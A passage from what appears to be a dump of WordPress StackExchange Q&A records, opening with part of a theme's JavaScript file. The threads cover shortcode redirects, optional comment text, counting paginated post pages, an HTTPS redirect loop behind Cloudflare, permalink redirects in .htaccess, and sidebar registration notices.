"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "on"
}
]
},
{
"featureType": "road.arterial",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": -2
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road.local",
"elementType": "geometry",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -90
},
{
"lightness": -8
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "transit",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": 10
},
{
"lightness": 69
},
{
"visibility": "on"
}
]
},
{
"featureType": "water",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -78
},
{
"lightness": 67
},
{
"visibility": "simplified"
}
]
}
]
o.googleMap({
styles: styleArray,
});
}
});
}
})
(jQuery);
/* WOW
========================================================*/
;
(function ($) {
var o = $('html');
if ((navigator.userAgent.toLowerCase().indexOf('msie') == -1 ) || (isIE() && isIE() > 9)) {
if (o.hasClass('desktop')) {
include('js/wow.js');
$(document).ready(function () {
new WOW().init();
});
}
}
})(jQuery);
/* Contact Form
========================================================*/
;
(function ($) {
var o = $('#contact-form');
if (o.length > 0) {
include('js/modal.js');
include('js/TMForm.js');
if($('#contact-form .recaptcha').length > 0){
include('../www.google.com/recaptcha/api/js/recaptcha_ajax.js');
}
}
})(jQuery);
/* Search.js
========================================================*/
;
(function ($) {
include('js/TMSearch.js');
})(jQuery);
/* Orientation tablet fix
========================================================*/
$(function () {
// IPad/IPhone
var viewportmeta = document.querySelector && document.querySelector('meta[name="viewport"]'),
ua = navigator.userAgent,
gestureStart = function () {
viewportmeta.content = "width=device-width, minimum-scale=0.25, maximum-scale=1.6, initial-scale=1.0";
},
scaleFix = function () {
if (viewportmeta && /iPhone|iPad/.test(ua) && !/Opera Mini/.test(ua)) {
viewportmeta.content = "width=device-width, minimum-scale=1.0, maximum-scale=1.0";
document.addEventListener("gesturestart", gestureStart, false);
}
};
scaleFix();
// Menu Android
if (window.orientation != undefined) {
var regM = /ipod|ipad|iphone/gi,
result = ua.match(regM);
if (!result) {
$('.sf-menus li').each(function () {
if ($(">ul", this)[0]) {
$(">a", this).toggle(
function () {
return false;
},
function () {
window.location.href = $(this).attr("href");
}
);
}
})
}
}
});
var ua = navigator.userAgent.toLocaleLowerCase(),
regV = /ipod|ipad|iphone/gi,
result = ua.match(regV),
userScale = "";
if (!result) {
userScale = ",user-scalable=0"
}
document.write('<meta name="viewport" content="width=device-width,initial-scale=1.0' + userScale + '">');
```
i tried many methods. how should i include this to work in a wordpress in proper way? | You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissions (or ask a more specific and detailed question ;) ) |
302,940 | <p>WordPress beginner here. I'm trying to check if a shortcode exists in the page being requested by the user, then if it does, redirect if the user is not signed in. </p>
<pre><code>function redirect_to_home() {
if (has_shortcode(get_the_content(), 'shortcode')) {
if(!is_admin() && !is_user_logged_in()) {
//redirect
exit();
}
}
}
add_action('template_redirect', 'redirect_to_home');
</code></pre>
<p>Is this close? And currently this code is placed in the functions.php files, is this correct? </p>
| [
{
"answer_id": 302947,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>I assume that you have looked at the docs: <a href=\"https://codex.wordpress.org/Shortcode_API\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Shortcode_API</a></p>\n\n<p>...which would show you the proper code to check for a shortcode. Let's say your shortcode is called 'redirectme'. So the code you would use in your functions.php would be something like:</p>\n\n<pre><code>// redirect for the [redirectme] shortcode\nfunction redirect_me( $atts ){\n // do something if the shortcode is found\n}\nadd_shortcode( 'redirectme', 'redirect_me' );\n</code></pre>\n\n<p>The redirect_me function will be called if the shortcode <code>[redirectme]</code> is found. You would then modify the function to do the needed redirect.</p>\n\n<p>For instance, if you wanted to redirect to <a href=\"http://example.com/the-new-page\" rel=\"nofollow noreferrer\">http://example.com/the-new-page</a> , you would put this inside the redirect_me function</p>\n\n<pre><code>$url = 'http://example.com/the-new-page';\nwp_redirect( $url );\nexit;\n</code></pre>\n\n<p>Check out the docs on the <code>wp_redirect</code> function: <a href=\"https://developer.wordpress.org/reference/functions/wp_redirect/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_redirect/</a> . Note that the <code>exit</code> is required, or the rest of the code for that page will execute.</p>\n\n<p><strong>Added</strong></p>\n\n<p>As mentioned in a comment to this answer, the <code>wp_redirect()</code> won't work - it will cause a 'Headers already sent' error. This is because output has already started before the <code>wp_redirect()</code> function is called by the appearance of the shortcode in the content.</p>\n\n<p>So, you have to buffer the output before WP starts sending output. You can do that with this code:</p>\n\n<pre><code>function app_output_buffer() {\n ob_start();\n} \nadd_action('init', 'app_output_buffer');\n</code></pre>\n\n<p>...which I got from here <a href=\"https://tommcfarlin.com/wp_redirect-headers-already-sent/\" rel=\"nofollow noreferrer\">https://tommcfarlin.com/wp_redirect-headers-already-sent/</a> (see that for more info). And there are probably similar references to <code>ob_start()</code> here. Because that function will 'fire' before WP output starts, the <code>wp_redirect()</code> will work if fired by the shortcode.</p>\n\n<p>So, add the above code to your functions.php file, and you will be able to do a <code>wp_redirect()</code> after WP has started output.</p>\n\n<p>Another approach would be to change the template used for the post/page to check for valid user login, and redirect if the user has not logged in. You still might need the <code>ob_start()</code> function, depending on where you check for user login.</p>\n"
},
{
"answer_id": 303041,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": true,
"text": "<p>If you look at the source code of <a href=\"https://developer.wordpress.org/reference/functions/add_shortcode/\" rel=\"nofollow noreferrer\"><code>add_shortcode</code></a> you will see this function doing little more than store the name of the shortcode in a global array. So, checking if a shortcode exists means looking it up in the array.</p>\n\n<p>Hence, if you want to check for a specific shortcode in <code>the_content</code> you must be sure that shortcode has already been added at the point you need it. Else <a href=\"https://developer.wordpress.org/reference/functions/has_shortcode/\" rel=\"nofollow noreferrer\"><code>has_shortcode</code></a> will say it doesn't exist.</p>\n\n<p>Luckily, looking at the <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference\" rel=\"nofollow noreferrer\">hook order</a>, you see <code>template_redirect</code> being executed after <code>after_setup_theme</code>, the default hook to load theme related stuff. If you use that hook to add your shortcode (in <code>functions.php</code>), you can be sure your shortcode exists by the time you get to <code>template_redirect</code>.</p>\n\n<p>So, yes, you are on the right track. You're using the right hook and the data you need is available at that point in WP's execution order.</p>\n"
}
]
| 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302940",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143178/"
]
| WordPress beginner here. I'm trying to check if a shortcode exists in the page being requested by the user, then if it does, redirect if the user is not signed in.
```
function redirect_to_home() {
if (has_shortcode(get_the_content(), 'shortcode')) {
if(!is_admin() && !is_user_logged_in()) {
//redirect
exit();
}
}
}
add_action('template_redirect', 'redirect_to_home');
```
Is this close? And currently this code is placed in the functions.php files, is this correct? | If you look at the source code of [`add_shortcode`](https://developer.wordpress.org/reference/functions/add_shortcode/) you will see this function doing little more than store the name of the shortcode in a global array. So, checking if a shortcode exists means looking it up in the array.
Hence, if you want to check for a specific shortcode in `the_content` you must be sure that shortcode has already been added at the point you need it. Else [`has_shortcode`](https://developer.wordpress.org/reference/functions/has_shortcode/) will say it doesn't exist.
Luckily, looking at the [hook order](https://codex.wordpress.org/Plugin_API/Action_Reference), you see `template_redirect` being executed after `after_setup_theme`, the default hook to load theme related stuff. If you use that hook to add your shortcode (in `functions.php`), you can be sure your shortcode exists by the time you get to `template_redirect`.
So, yes, you are on the right track. You're using the right hook and the data you need is available at that point in WP's execution order. |
302,946 | <p>I made a few comment meta field and they work well.</p>
<p>Now I need to set comment text as no require.</p>
<p>I found <a href="https://wordpress.stackexchange.com/a/101489/143185">this solution</a> but don't work for me.</p>
<pre><code>add_action( 'pre_comment_on_post', 'allow_empty_comment_text' );
function allow_empty_comment_text( $text = '' )
{
if ( ! isset ( $_POST['comment'] ) or '' === trim( $_POST['comment'] ) )
{
$img = '/* Process uploaded image here, create an <img> tag. */'
$_POST['comment'] = '<img>'; // use a real img tag here
}
}
</code></pre>
<p>any solution please.</p>
| [
{
"answer_id": 302961,
"author": "Minh",
"author_id": 142410,
"author_profile": "https://wordpress.stackexchange.com/users/142410",
"pm_score": 0,
"selected": false,
"text": "<p>I think you can use $_POST['comment'] = 'NO_COMMENT' then when display the comment you strip that string by \"comment_text\" filter.</p>\n"
},
{
"answer_id": 303226,
"author": "Nohome Mordad",
"author_id": 143185,
"author_profile": "https://wordpress.stackexchange.com/users/143185",
"pm_score": 2,
"selected": true,
"text": "<p>I solve it:</p>\n\n<p>step 1 - insert a random number in text body, because WordPress prevent users that duplicate comments.</p>\n\n<p>step 2- set display:none to textarea of comment field\n<br/></p>\n\n<p>Finally copy this code in functions.php:</p>\n\n<pre><code>add_filter( 'comment_form_field_comment', 'set_default_comment_text', 10, 1 );\n\nfunction set_default_comment_text() {\n\n $post_id = get_the_title();\n\n global $current_user;\n\n get_currentuserinfo();\n\n $comment_rand = rand(10,100000);\n\n $comment_field = '<textarea style=\"display:none\" id=\"comment\" name=\"comment\" cols=\"45\" rows=\"8\" maxlength=\"65525\" readonly=\"readonly\">'.$comment_rand.'</textarea>';\n\n return $comment_field;\n}\n</code></pre>\n"
}
]
| 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302946",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143185/"
]
| I made a few comment meta field and they work well.
Now I need to set comment text as no require.
I found [this solution](https://wordpress.stackexchange.com/a/101489/143185) but don't work for me.
```
add_action( 'pre_comment_on_post', 'allow_empty_comment_text' );
function allow_empty_comment_text( $text = '' )
{
if ( ! isset ( $_POST['comment'] ) or '' === trim( $_POST['comment'] ) )
{
$img = '/* Process uploaded image here, create an <img> tag. */'
$_POST['comment'] = '<img>'; // use a real img tag here
}
}
```
any solution please. | I solve it:
step 1 - insert a random number in text body, because WordPress prevent users that duplicate comments.
step 2- set display:none to textarea of comment field
Finally copy this code in functions.php:
```
add_filter( 'comment_form_field_comment', 'set_default_comment_text', 10, 1 );
function set_default_comment_text() {
$post_id = get_the_title();
global $current_user;
get_currentuserinfo();
$comment_rand = rand(10,100000);
$comment_field = '<textarea style="display:none" id="comment" name="comment" cols="45" rows="8" maxlength="65525" readonly="readonly">'.$comment_rand.'</textarea>';
return $comment_field;
}
``` |
302,959 | <p>Is there a way to query the number of pages/the last page of a single post which is paginated by <code><!--nextpage--></code> on wordpress?</p>
<pre><code>function count_post_pages($post_id) {
$the_post = get_post($post_id);
return count(explode('<!--nextpage-->', $the_post->post_content));
}
</code></pre>
<p>I am not sure whether this is the right of way of doing it, but can someone help...</p>
| [
{
"answer_id": 302963,
"author": "Michael",
"author_id": 4884,
"author_profile": "https://wordpress.stackexchange.com/users/4884",
"pm_score": 3,
"selected": false,
"text": "<p>have a look at <a href=\"https://codex.wordpress.org/Global_Variables#Inside_the_Loop_variables\" rel=\"noreferrer\">https://codex.wordpress.org/Global_Variables#Inside_the_Loop_variables</a></p>\n\n<p>within the loop, the global variables related to the <code><!--nextpage--></code> tag are:</p>\n\n<p><code>$page</code> - the actual sub page,</p>\n\n<p><code>$multipage</code> - (boolean) =1 if nextpage was used</p>\n\n<p><code>$numpages</code> - total number of sub pages</p>\n"
},
{
"answer_id": 302977,
"author": "huykon225",
"author_id": 77080,
"author_profile": "https://wordpress.stackexchange.com/users/77080",
"pm_score": 1,
"selected": false,
"text": "<p>When WordPress is using pagination like this, there's a query variable <code>$paged</code> that it keys on. So page 1 is <code>$paged=1</code> and page 15 is <code>$paged=15</code>.</p>\n\n<p>You can get the value of this variable with the following code:</p>\n\n<p><code>$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;</code>\nGetting the total number of pages is a bit trickier. First you have to count all the posts in the database. Then filter by which posts are published (versus which are drafts, scheduled, trash, etc.). Then you have to divide this count by the number of posts you expect to appear on each page:</p>\n\n<p><code>$total_post_count = wp_count_posts();\n$published_post_count = $total_post_count->publish;\n$total_pages = ceil( $published_post_count / $posts_per_page );</code>\nI haven't tested this yet, but you might need to fetch <code>$posts_per_page</code> the same way you fetched <code>$paged</code> (using <code>get_query_var()</code>).</p>\n"
},
{
"answer_id": 302980,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 3,
"selected": true,
"text": "<p>Inside the loop, as <a href=\"https://wordpress.stackexchange.com/users/4884/michael\">michael</a> <a href=\"https://wordpress.stackexchange.com/a/302963/35541\">pointed out</a> you could just refer to <code>$numpages</code> global variable.</p>\n\n<p>Outside of the loop, your code is almost fine.</p>\n\n<p>Being the number of the pages the number of <code><!--nextpage--></code> + 1, you could save a function call by doing:</p>\n\n<pre><code>$numOfPages = 1 + substr_count($the_post->post_content, '<!--nextpage-->');\n</code></pre>\n\n<p>As a quick and not-that-dirty solution that is totally fine.</p>\n\n<p>However, that code would not take into account filters and other minor things (e.g. <code><!--nextpage--></code> at the very start of the post content is ignored).</p>\n\n<p>So to be 100% compatible with core code, your function should be something like:</p>\n\n<pre><code>function count_post_pages($post_id) {\n $post = get_post($post_id);\n if (!$post) {\n return -1;\n }\n\n global $numpages;\n $q = new WP_Query();\n $q->setup_postdata($post);\n\n $count = $numpages;\n\n $q->reset_postdata();\n\n return $count;\n}\n</code></pre>\n\n<p>This is 100% compatible with core code, but also is more \"expensive\" and triggers more hooks than you actually need (with possibly unexpected side effects).</p>\n\n<p>The third solution would be:</p>\n\n<pre><code>function count_post_pages($post_id) {\n $post = get_post($post_id);\n if (!$post) {\n return -1;\n }\n\n $content = ltrim($post->post_content);\n // Ignore nextpage at the beginning of the content\n if (strpos($content, '<!--nextpage-->') === 0) {\n $content = substr($content, 15);\n }\n\n $pages = explode('<!--nextpage-->', $content);\n $pages = apply_filters('content_pagination', $pages, $post);\n\n return count($pages);\n}\n</code></pre>\n\n<p>This solution is relatively \"cheap\" and it is 100% core compliant... <em>for now</em>, in fact, the issue with this code is that it duplicates some code that might change in future versions (e.g. the \"content_pagination\" filter was added in version 4.4, so quite recently).</p>\n"
}
]
| 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302959",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136090/"
]
| Is there a way to query the number of pages/the last page of a single post which is paginated by `<!--nextpage-->` on wordpress?
```
function count_post_pages($post_id) {
$the_post = get_post($post_id);
return count(explode('<!--nextpage-->', $the_post->post_content));
}
```
I am not sure whether this is the right of way of doing it, but can someone help... | Inside the loop, as [michael](https://wordpress.stackexchange.com/users/4884/michael) [pointed out](https://wordpress.stackexchange.com/a/302963/35541) you could just refer to `$numpages` global variable.
Outside of the loop, your code is almost fine.
Being the number of the pages the number of `<!--nextpage-->` + 1, you could save a function call by doing:
```
$numOfPages = 1 + substr_count($the_post->post_content, '<!--nextpage-->');
```
As a quick and not-that-dirty solution that is totally fine.
However, that code would not take into account filters and other minor things (e.g. `<!--nextpage-->` at the very start of the post content is ignored).
So to be 100% compatible with core code, your function should be something like:
```
function count_post_pages($post_id) {
$post = get_post($post_id);
if (!$post) {
return -1;
}
global $numpages;
$q = new WP_Query();
$q->setup_postdata($post);
$count = $numpages;
$q->reset_postdata();
return $count;
}
```
This is 100% compatible with core code, but also is more "expensive" and triggers more hooks than you actually need (with possibly unexpected side effects).
The third solution would be:
```
function count_post_pages($post_id) {
$post = get_post($post_id);
if (!$post) {
return -1;
}
$content = ltrim($post->post_content);
// Ignore nextpage at the beginning of the content
if (strpos($content, '<!--nextpage-->') === 0) {
$content = substr($content, 15);
}
$pages = explode('<!--nextpage-->', $content);
$pages = apply_filters('content_pagination', $pages, $post);
return count($pages);
}
```
This solution is relatively "cheap" and it is 100% core compliant... *for now*, in fact, the issue with this code is that it duplicates some code that might change in future versions (e.g. the "content\_pagination" filter was added in version 4.4, so quite recently). |
302,965 | <p>I figured I would ask my own question seeing as the duplicate question(s) still haven't been answered. </p>
<p>For some reason after my fresh install of Wordpress 4.9.1 on my Ubuntu VPS, enabling my "flexible" SSL issued by Cloudflare, and finally switching my URLs in Wordpress (from "<a href="https://foo.com" rel="noreferrer">https://foo.com</a>" to "<a href="https://foo.com" rel="noreferrer">https://foo.com</a>") I can no longer access my admin panel.</p>
<p><strong>Attempted Fix #1:</strong> Clearing browser(s) cookies, cache, and saved data, <em>as well as</em> any Cloudflare caches.</p>
<p><strong>Attempted Fix #2:</strong>
Modifying <code>wp-config.php</code> with the code:</p>
<pre><code>define('WP_HOME' , 'https://foo.com');
define('WP_SITEURL' , 'https://foo.com');
</code></pre>
<p><strong>Attempted Fix #3:</strong> Disabling <code>.htaccess</code> file in <code>/var/www/html/</code></p>
<p>None of the above has worked and unfortunately I still cannot access the admin panel. However, the default wordpress homepage loads just fine at the correct secure, "https" URL. </p>
| [
{
"answer_id": 302967,
"author": "Matt",
"author_id": 143195,
"author_profile": "https://wordpress.stackexchange.com/users/143195",
"pm_score": 6,
"selected": false,
"text": "<p>I found a solution that fixed my issue.</p>\n\n<p>Sources: </p>\n\n<p>A.) <a href=\"https://sharpten.com/blog/2018/01/17/wordpress-stuck-many-redirects-error-loop-using-ssl.html\" rel=\"noreferrer\">https://sharpten.com/blog/2018/01/17/wordpress-stuck-many-redirects-error-loop-using-ssl.html</a></p>\n\n<p>B.) (Sublink within A) <a href=\"https://wordpress.org/support/article/administration-over-ssl/\" rel=\"noreferrer\">https://wordpress.org/support/article/administration-over-ssl/</a></p>\n\n<p>Excerpt: \nAdding the following lines of code at the end of my <code>wp-config.php</code> file resolved the redirect conflict.</p>\n\n<pre><code>if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)\n $_SERVER['HTTPS']='on';\n</code></pre>\n"
},
{
"answer_id": 318028,
"author": "yashpal singh",
"author_id": 153291,
"author_profile": "https://wordpress.stackexchange.com/users/153291",
"pm_score": 2,
"selected": false,
"text": "<p>Put this code in <code>wp-config.php</code> in the first line inside the PHP tag.</p>\n\n<pre><code>if($_SERVER['PHP_SELF']==\"/index.php\")\n{\ndefine('WP_HOME','https://yourdomain.com');\ndefine('WP_SITEURL','https://yourdomain.com');\n}\nelse\n{\ndefine('WP_HOME','http://yourdomain.com');\ndefine('WP_SITEURL','http://yourdomain.com');\n}\n</code></pre>\n\n<p>But don't forget to replace your site URL in the place of <code>yourdomain.com</code></p>\n"
},
{
"answer_id": 326257,
"author": "orangeberri07",
"author_id": 159519,
"author_profile": "https://wordpress.stackexchange.com/users/159519",
"pm_score": 2,
"selected": false,
"text": "<p>Somehow, our wp-admin folder permissions was set to 777, which means everyone can read, write or execute to this folder. </p>\n\n<p>We logged onto the server, and found an error saying \"wp-admin cannot be writable by group.\"</p>\n\n<p>We changed our permissions so the folder was not writable by group or world (755), and the admin area was immediately accessible.</p>\n\n<p>(This permissions change did happen seemingly randomly for us. Our website's team didn't even have access to the server at the time wp-admin just stopped working and we still don't know how this setting was changed. The site had been up for several years beforehand.)</p>\n"
},
{
"answer_id": 345264,
"author": "Prateek Tambi",
"author_id": 173614,
"author_profile": "https://wordpress.stackexchange.com/users/173614",
"pm_score": 4,
"selected": false,
"text": "<p>I used the above answer by Matt and added one else case as well:</p>\n\n<pre><code>if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)\n $_SERVER['HTTPS']='on';\nelse\n $_SERVER['HTTPS']='off';\n</code></pre>\n\n<p>It worked. I had also placed it at the beginning of the wp-config.php</p>\n"
},
{
"answer_id": 349493,
"author": "Andrew McEwan",
"author_id": 176062,
"author_profile": "https://wordpress.stackexchange.com/users/176062",
"pm_score": 0,
"selected": false,
"text": "<p>I had the 'Too many redirects' on wp-admin only after migrating to a new server. </p>\n\n<p>The problem was incorrect permissions on the folder wp-admin plus the top-level files within it. Resetting the permissions fixed the issue.</p>\n\n<p>Hope that is of help to anyone who needs it.</p>\n"
},
{
"answer_id": 350174,
"author": "Shahid Hussain Aali",
"author_id": 176562,
"author_profile": "https://wordpress.stackexchange.com/users/176562",
"pm_score": 0,
"selected": false,
"text": "<p>In my case it was Apache's <code>DirectoryIndex</code> issue. The <code>wp-admin</code> was being accessed by <code>wp-admin/index.php</code> but not with <code>wp-admin</code> and showing <code>ERR_TOO_MANY_REDIRECTS</code>.</p>\n\n<p>It sounds like Apache's <code>DirectoryIndex</code> may be set \"incorrectly\". Try resetting this at the top of your <code>.htaccess</code> file:</p>\n\n<pre><code>DirectoryIndex index.php\n</code></pre>\n\n<p>See the full answer here. \n<a href=\"https://wordpress.stackexchange.com/a/305237\">Can't access admin dashboard with wp-admin without /index.php after it\n</a></p>\n"
}
]
| 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302965",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143195/"
]
| I figured I would ask my own question seeing as the duplicate question(s) still haven't been answered.
For some reason after my fresh install of Wordpress 4.9.1 on my Ubuntu VPS, enabling my "flexible" SSL issued by Cloudflare, and finally switching my URLs in Wordpress (from "<https://foo.com>" to "<https://foo.com>") I can no longer access my admin panel.
**Attempted Fix #1:** Clearing browser(s) cookies, cache, and saved data, *as well as* any Cloudflare caches.
**Attempted Fix #2:**
Modifying `wp-config.php` with the code:
```
define('WP_HOME' , 'https://foo.com');
define('WP_SITEURL' , 'https://foo.com');
```
**Attempted Fix #3:** Disabling `.htaccess` file in `/var/www/html/`
None of the above has worked and unfortunately I still cannot access the admin panel. However, the default wordpress homepage loads just fine at the correct secure, "https" URL. | I found a solution that fixed my issue.
Sources:
A.) <https://sharpten.com/blog/2018/01/17/wordpress-stuck-many-redirects-error-loop-using-ssl.html>
B.) (Sublink within A) <https://wordpress.org/support/article/administration-over-ssl/>
Excerpt:
Adding the following lines of code at the end of my `wp-config.php` file resolved the redirect conflict.
```
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
$_SERVER['HTTPS']='on';
``` |
302,976 | <p>I am using the following permalink structure:</p>
<pre><code>/%postname%-%monthnum%%year%%post_id%.html
</code></pre>
<p>I want to get it changed to just <code>/%postname%/</code>.</p>
<p>Please help me with what should be the correct redirect rule for <code>.htaccess</code>. </p>
| [
{
"answer_id": 303002,
"author": "Diana D Jensen",
"author_id": 135288,
"author_profile": "https://wordpress.stackexchange.com/users/135288",
"pm_score": 0,
"selected": false,
"text": "<p>So basically you want to change the URL structure and then redirect the old URLs to the new ones?</p>\n\n<p>As noted by MrWhite, you change the premalink structure in WordPress, under Settings->Permalinks.</p>\n\n<p>Once you have changed them, you can redirect the old URLs one by one by adding this command and using your real URLs:</p>\n\n<p>RedirectPermanent /old-file.html <a href=\"http://www.domain.com/new-file\" rel=\"nofollow noreferrer\">http://www.domain.com/new-file</a></p>\n\n<p>You can either do this in .htaccess or in your control panel on the server, if you have such.</p>\n"
},
{
"answer_id": 303033,
"author": "MrWhite",
"author_id": 8259,
"author_profile": "https://wordpress.stackexchange.com/users/8259",
"pm_score": 2,
"selected": true,
"text": "<p>Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your <code>.htaccess</code> file, using mod_rewrite:</p>\n\n<pre><code>RewriteRule ^([\\w-]+)-\\d{7,}\\.html$ /$1/ [R=302,L]\n</code></pre>\n\n<p>This will redirect URLs of the form <code>/%postname%-%monthnum%%year%%post_id%.html</code> to <code>/%postname%/</code>, assuming your <em>post name</em> is limited to the characters <code>A-Z</code>, <code>a-z</code>, <code>0-9</code>, <code>_</code>, <code>-</code>.</p>\n\n<p>As noted above, this must go <em>before</em> your WordPress front-controller (ie. before the <code># BEGIN WordPress</code> section), at the top of your <code>.htaccess</code> file.</p>\n\n<p>Note also, that this is currently a temporary (302) redirect. Change the <code>302</code> to <code>301</code> (permanent) only once you have tested that this is working OK. This is to avoid any problems with browser caching.</p>\n"
}
]
| 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302976",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/13058/"
]
| I am using the following permalink structure:
```
/%postname%-%monthnum%%year%%post_id%.html
```
I want to get it changed to just `/%postname%/`.
Please help me with what should be the correct redirect rule for `.htaccess`. | Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your `.htaccess` file, using mod\_rewrite:
```
RewriteRule ^([\w-]+)-\d{7,}\.html$ /$1/ [R=302,L]
```
This will redirect URLs of the form `/%postname%-%monthnum%%year%%post_id%.html` to `/%postname%/`, assuming your *post name* is limited to the characters `A-Z`, `a-z`, `0-9`, `_`, `-`.
As noted above, this must go *before* your WordPress front-controller (ie. before the `# BEGIN WordPress` section), at the top of your `.htaccess` file.
Note also, that this is currently a temporary (302) redirect. Change the `302` to `301` (permanent) only once you have tested that this is working OK. This is to avoid any problems with browser caching. |
302,985 | <p>What's wrong in this function?</p>
<pre><code>function init(){
//go through each sidebar and register it
$sidebars = sidebar_generator::get_sidebars();
if(is_array($sidebars)){
foreach($sidebars as $sidebar){
$sidebar_class = sidebar_generator::name_to_class($sidebar);
register_sidebar(array(
'name'=>$sidebar,
'id' => 'new-sidebars',
'before_widget' => '<div class="sb_widget">',
'after_widget' => '</div>',
'before_title' => '<h4>',
'after_title' => '</h4>',
));
}
}
}
</code></pre>
<p>here is the log:</p>
<p>Notice: register_sidebar was called incorrectly. No id was set in the arguments array for the "Sidebar" sidebar. Defaulting to "sidebar-1". Manually set the id to "sidebar-1" to silence this notice and keep existing sidebar content. Please see Debugging in WordPress for more information. (This message was added in version 4.2.0.) in /home/incentiv/public_html/wp-includes/functions.php on line 4147</p>
<p>Notice: register_sidebar was called incorrectly. No id was set in the arguments array for the "Footer" sidebar. Defaulting to "sidebar-2". Manually set the id to "sidebar-2" to silence this notice and keep existing sidebar content. Please see Debugging in WordPress for more information. (This message was added in version 4.2.0.) in /home/incentiv/public_html/wp-includes/functions.php on line 4147</p>
<p>Notice: register_sidebar was called incorrectly. No id was set in the arguments array for the "Contact Top" sidebar. Defaulting to "sidebar-3". Manually set the id to "sidebar-3" to silence this notice and keep existing sidebar content. Please see Debugging in WordPress for more information. (This message was added in version 4.2.0.) in /home/incentiv/public_html/wp-includes/functions.php on line 4147</p>
| [
{
"answer_id": 303002,
"author": "Diana D Jensen",
"author_id": 135288,
"author_profile": "https://wordpress.stackexchange.com/users/135288",
"pm_score": 0,
"selected": false,
"text": "<p>So basically you want to change the URL structure and then redirect the old URLs to the new ones?</p>\n\n<p>As noted by MrWhite, you change the premalink structure in WordPress, under Settings->Permalinks.</p>\n\n<p>Once you have changed them, you can redirect the old URLs one by one by adding this command and using your real URLs:</p>\n\n<p>RedirectPermanent /old-file.html <a href=\"http://www.domain.com/new-file\" rel=\"nofollow noreferrer\">http://www.domain.com/new-file</a></p>\n\n<p>You can either do this in .htaccess or in your control panel on the server, if you have such.</p>\n"
},
{
"answer_id": 303033,
"author": "MrWhite",
"author_id": 8259,
"author_profile": "https://wordpress.stackexchange.com/users/8259",
"pm_score": 2,
"selected": true,
"text": "<p>Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your <code>.htaccess</code> file, using mod_rewrite:</p>\n\n<pre><code>RewriteRule ^([\\w-]+)-\\d{7,}\\.html$ /$1/ [R=302,L]\n</code></pre>\n\n<p>This will redirect URLs of the form <code>/%postname%-%monthnum%%year%%post_id%.html</code> to <code>/%postname%/</code>, assuming your <em>post name</em> is limited to the characters <code>A-Z</code>, <code>a-z</code>, <code>0-9</code>, <code>_</code>, <code>-</code>.</p>\n\n<p>As noted above, this must go <em>before</em> your WordPress front-controller (ie. before the <code># BEGIN WordPress</code> section), at the top of your <code>.htaccess</code> file.</p>\n\n<p>Note also, that this is currently a temporary (302) redirect. Change the <code>302</code> to <code>301</code> (permanent) only once you have tested that this is working OK. This is to avoid any problems with browser caching.</p>\n"
}
]
| 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302985",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143219/"
]
| What's wrong in this function?
```
function init(){
//go through each sidebar and register it
$sidebars = sidebar_generator::get_sidebars();
if(is_array($sidebars)){
foreach($sidebars as $sidebar){
$sidebar_class = sidebar_generator::name_to_class($sidebar);
register_sidebar(array(
'name'=>$sidebar,
'id' => 'new-sidebars',
'before_widget' => '<div class="sb_widget">',
'after_widget' => '</div>',
'before_title' => '<h4>',
'after_title' => '</h4>',
));
}
}
}
```
here is the log:
Notice: register\_sidebar was called incorrectly. No id was set in the arguments array for the "Sidebar" sidebar. Defaulting to "sidebar-1". Manually set the id to "sidebar-1" to silence this notice and keep existing sidebar content. Please see Debugging in WordPress for more information. (This message was added in version 4.2.0.) in /home/incentiv/public\_html/wp-includes/functions.php on line 4147
Notice: register\_sidebar was called incorrectly. No id was set in the arguments array for the "Footer" sidebar. Defaulting to "sidebar-2". Manually set the id to "sidebar-2" to silence this notice and keep existing sidebar content. Please see Debugging in WordPress for more information. (This message was added in version 4.2.0.) in /home/incentiv/public\_html/wp-includes/functions.php on line 4147
